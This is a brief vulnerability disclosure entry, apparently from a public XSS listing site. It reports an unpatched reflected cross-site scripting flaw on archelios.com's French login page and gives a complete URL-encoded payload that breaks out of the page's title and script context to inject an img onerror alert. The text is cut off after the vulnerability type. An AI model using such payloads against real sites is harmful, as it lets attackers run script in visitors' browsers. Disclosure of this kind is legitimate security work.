archelios.com XSS vulnerability

Vulnerable URL: https://www.archelios.com/online/bin/Archelios-Online-Login.php?lang=fr%3C/title%3E%3C/script/%22-alert0-%22%20--%3E%3Cimg/onerror=%27;alert/XSSPOSED/;%27src=1%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 05.10.2017 Vulnerability type:| XSS...